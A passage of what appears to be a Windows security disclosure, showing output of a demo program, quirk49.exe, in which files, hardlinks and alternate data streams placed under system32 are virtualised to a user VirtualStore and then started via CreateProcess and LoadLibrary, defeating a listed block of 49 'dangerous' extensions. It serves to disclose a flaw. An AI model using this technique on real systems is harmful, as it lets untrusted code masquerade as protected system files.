    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.shb'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.shb'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.shb'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.shb'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.shb'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.shs'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.shs'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.shs'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.shs'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.shs'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.sys'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.sys'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.sys'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.sys'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.sys'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.tlb'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.tlb'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.tlb'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.tlb'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.tlb'
    File 'C:\Windows\system32\Quirk49.tmp' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\system32\Quirk49.tmp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk49.tmp'
    CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk49.tmp'
    LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk49.tmp'
    Hardlink 'C:\Windows\system32\Quirk49.tmp' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\system32\Quirk49.tmp' started as process 7860 with primary thread 12028
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk49.tmp'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk49.tmp'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.tsp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.tsp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.tsp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.tsp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.tsp'
    File 'C:\Windows\system32\Quirk49.ttf' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\system32\Quirk49.ttf' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk49.ttf'
    CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk49.ttf'
    LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk49.ttf'
    Hardlink 'C:\Windows\system32\Quirk49.ttf' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\system32\Quirk49.ttf' started as process 11116 with primary thread 1524
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk49.ttf'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk49.ttf'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.url'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.url'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.url'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.url'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.url'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.vb'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vb'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vb'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.vb'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vb'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.vbe'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vbe'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vbe'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.vbe'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vbe'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.vbs'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vbs'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vbs'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.vbs'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vbs'
    File 'C:\Windows\system32\Quirk49.wll' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\system32\Quirk49.wll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk49.wll'
    CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk49.wll'
    LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk49.wll'
    Hardlink 'C:\Windows\system32\Quirk49.wll' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\system32\Quirk49.wll' started as process 13928 with primary thread 9784
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk49.wll'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk49.wll'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.wsc'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsc'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsc'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.wsc'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsc'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.wsf'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsf'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsf'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.wsf'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsf'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.wsh'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsh'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsh'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.wsh'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsh'
    File 'C:\Windows\system32\Quirk49.xll' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\system32\Quirk49.xll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk49.xll'
    CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk49.xll'
    LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk49.xll'
    Hardlink 'C:\Windows\system32\Quirk49.xll' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\system32\Quirk49.xll' started as process 8184 with primary thread 3232
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk49.xll'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk49.xll'
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OOPS: File Virtualisation fails with Win32 error code 5 alias ERROR_ACCESS_DENIED at least for the 49 extensions .acm, .asa, .asp, .ax, .bat, .chm, .cmd, .cnt, .cnv, .com, .cpl, .crt, .dll, .drv, .exe, .fon, .hlp, .hta, .ime, .inf, .ins, .isp, .its, .js, .jse, .lnk, .msc, .msi, .msp, .mst, .mui, .nls, .ocx, .pif, .reg, .scr, .sct, .shb, .shs, .sys, .tlb, .tsp, .url, .vb, .vbe, .vbs, .wsc, .wsf and .wsh!

    Note: I suspect that the developers who built this list of dangerous extensions will be surprised to learn that black listing is doomed to fail!

    OUCH: (intentionally here only) indicated by the Win32 error code 193 alias ERROR_BAD_EXE_FORMAT, at least the Win32 functions CreateProcess() and LoadLibrary() load (and execute) virtualised files, independent of their extension!

    OOPS: contrary to the statements cited above, hardlinks of (executable) files can be created with arbitrary extensions!

    Oops: access to hardlinks with dangerous extensions but fails with either the wrong Win32 error code 2 alias ERROR_FILE_NOT_FOUND or the wrong error code 126 alias ERROR_MOD_NOT_FOUND instead of the appropriate error code 5 alias ERROR_ACCESS_DENIED!

  4. Build the 32-bit console application quirk49.exe from the source file quirk49.c created in step 1. again, now with the preprocessor macro ADS defined:

    SET CL=/DADS /GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE
    CL.EXE quirk49.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk49.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk49.exe
    quirk49.obj
  5. Execute the console application quirk49.exe built in step 4. to demonstrate the first bug:

    .\quirk49.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    CreateDirectory() returned error 267 for directory 'C:\Windows\system32:Quirk49'
    File 'C:\Windows\system32:Quirk49.acm' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.acm'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.acm'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.acm'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.acm'
    File 'C:\Windows\system32:Quirk49.asa' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.asa'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.asa'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.asa'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.asa'
    File 'C:\Windows\system32:Quirk49.asp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.asp'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.asp'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.asp'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.asp'
    File 'C:\Windows\system32:Quirk49.ax' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.ax'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.ax'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.ax'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.ax'
    File 'C:\Windows\system32:Quirk49.bat' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.bat'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.bat'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.bat'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.bat'
    File 'C:\Windows\system32:Quirk49.chm' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.chm'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.chm'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.chm'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.chm'
    File 'C:\Windows\system32:Quirk49.cmd' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.cmd'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.cmd'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.cmd'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.cmd'
    File 'C:\Windows\system32:Quirk49.cnt' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.cnt'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.cnt'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.cnt'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.cnt'
    File 'C:\Windows\system32:Quirk49.cnv' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.cnv'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.cnv'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.cnv'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.cnv'
    File 'C:\Windows\system32:Quirk49.com' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.com'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.com'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.com'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.com'
    File 'C:\Windows\system32:Quirk49.cpl' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.cpl'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.cpl'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.cpl'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.cpl'
    File 'C:\Windows\system32:Quirk49.crt' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.crt'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.crt'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.crt'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.crt'
    File 'C:\Windows\system32:Quirk49.dll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.dll'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.dll'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.dll'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.dll'
    File 'C:\Windows\system32:Quirk49.drv' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.drv'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.drv'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.drv'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.drv'
    File 'C:\Windows\system32:Quirk49.efi' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.efi'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.efi'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.efi'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.efi'
    File 'C:\Windows\system32:Quirk49.exe' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.exe'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.exe'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.exe'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.exe'
    File 'C:\Windows\system32:Quirk49.fon' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.fon'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.fon'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.fon'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.fon'
    File 'C:\Windows\system32:Quirk49.hlp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.hlp'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.hlp'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.hlp'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.hlp'
    File 'C:\Windows\system32:Quirk49.hta' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.hta'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.hta'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.hta'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.hta'
    File 'C:\Windows\system32:Quirk49.ime' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.ime'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.ime'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.ime'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.ime'
    File 'C:\Windows\system32:Quirk49.inf' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.inf'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.inf'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.inf'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.inf'
    File 'C:\Windows\system32:Quirk49.ins' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.ins'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.ins'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.ins'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.ins'
    File 'C:\Windows\system32:Quirk49.iso' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.iso'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.iso'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.iso'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.iso'
    File 'C:\Windows\system32:Quirk49.isp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.isp'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.isp'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.isp'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.isp'
    File 'C:\Windows\system32:Quirk49.its' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.its'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.its'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.its'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.its'
    File 'C:\Windows\system32:Quirk49.js' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.js'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.js'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.js'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.js'
    File 'C:\Windows\system32:Quirk49.jse' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.jse'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.jse'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.jse'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.jse'
    File 'C:\Windows\system32:Quirk49.lnk' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.lnk'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.lnk'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.lnk'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.lnk'
    File 'C:\Windows\system32:Quirk49.msc' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.msc'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.msc'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.msc'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.msc'
    File 'C:\Windows\system32:Quirk49.msi' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.msi'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.msi'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.msi'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.msi'
    File 'C:\Windows\system32:Quirk49.msp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.msp'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.msp'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.msp'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.msp'
    File 'C:\Windows\system32:Quirk49.mst' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.mst'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.mst'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.mst'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.mst'
    File 'C:\Windows\system32:Quirk49.mui' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.mui'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.mui'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.mui'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.mui'
    File 'C:\Windows\system32:Quirk49.nls' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.nls'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.nls'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.nls'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.nls'
    File 'C:\Windows\system32:Quirk49.ocx' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.ocx'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.ocx'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.ocx'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.ocx'
    File 'C:\Windows\system32:Quirk49.pif' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.pif'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.pif'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.pif'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.pif'
    File 'C:\Windows\system32:Quirk49.reg' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.reg'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.reg'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.reg'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.reg'
    File 'C:\Windows\system32:Quirk49.scr' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.scr'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.scr'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.scr'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.scr'
    File 'C:\Windows\system32:Quirk49.sct' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.sct'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.sct'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.sct'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.sct'
    File 'C:\Windows\system32:Quirk49.shb' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.shb'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.shb'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.shb'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.shb'
    File 'C:\Windows\system32:Quirk49.shs' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.shs'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.shs'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.shs'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.shs'
    File 'C:\Windows\system32:Quirk49.sys' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.sys'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.sys'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.sys'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.sys'
    File 'C:\Windows\system32:Quirk49.tlb' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.tlb'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.tlb'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.tlb'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.tlb'
    File 'C:\Windows\system32:Quirk49.tmp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.tmp'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.tmp'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.tmp'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.tmp'
    File 'C:\Windows\system32:Quirk49.tsp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.tsp'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.tsp'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.tsp'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.tsp'
    File 'C:\Windows\system32:Quirk49.tmp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.ttf'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.ttf'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.ttf'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.ttf'
    File 'C:\Windows\system32:Quirk49.url' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.url'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.url'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.url'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.url'
    File 'C:\Windows\system32:Quirk49.vb' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.vb'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.vb'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.vb'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.vb'
    File 'C:\Windows\system32:Quirk49.vbe' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.vbe'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.vbe'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.vbe'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.vbe'
    File 'C:\Windows\system32:Quirk49.vbs' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.vbs'
